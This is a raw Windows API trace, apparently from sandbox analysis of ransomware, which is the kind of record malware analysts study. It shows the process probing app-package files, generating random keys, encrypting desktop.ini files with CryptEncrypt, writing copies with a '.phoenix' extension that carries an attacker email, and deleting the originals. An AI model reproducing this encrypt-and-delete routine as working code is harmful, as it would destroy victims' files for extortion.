	[0251.099] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.099] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.099] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.099] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0251.099] CloseHandle (hObject=0x2d4) returned 1
	[0251.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.100] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.101] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.101] CloseHandle (hObject=0x2d4) returned 1
	[0251.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.101] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.101] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.101] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.102] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.102] CloseHandle (hObject=0x2d4) returned 1
	[0251.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.102] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.102] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.102] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.103] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=131072) returned 1
	[0251.103] CloseHandle (hObject=0x2d4) returned 1
	[0251.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.103] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.104] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.104] CloseHandle (hObject=0x2d4) returned 1
	[0251.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.104] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.104] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.104] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.105] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=131072) returned 1
	[0251.105] CloseHandle (hObject=0x2d4) returned 1
	[0251.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.105] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.105] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.105] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.106] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.106] CloseHandle (hObject=0x2d4) returned 1
	[0251.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.106] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.106] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.106] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.107] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.107] CloseHandle (hObject=0x2d4) returned 1
	[0251.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.108] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.108] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.259] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0251.259] CloseHandle (hObject=0x2c4) returned 1
	[0251.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.259] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0252.900] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0252.900] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0252.900] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group1\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0252.901] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1511c0) returned 1
	[0252.901] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0252.901] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4b, lpOverlapped=0x0) returned 1
	[0252.902] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0252.902] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x50, lpOverlapped=0x0) returned 1
	[0252.903] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1516c0) returned 1
	[0252.903] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0252.903] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0252.903] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0252.903] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0252.903] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0252.903] CloseHandle (hObject=0x2c8) returned 1
	[0252.903] CloseHandle (hObject=0x2b0) returned 1
	[0252.903] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group1\\desktop.ini")) returned 1
	[0252.905] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0252.906] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0252.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group2\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0252.910] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0252.910] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0252.910] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x145, lpOverlapped=0x0) returned 1
	[0252.911] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150, dwBufLen=0x150 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150) returned 1
	[0252.911] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x150, lpOverlapped=0x0) returned 1
	[0252.912] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0252.912] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0252.912] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0252.912] CryptDestroyKey (hKey=0x151500) returned 1
	[0252.912] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
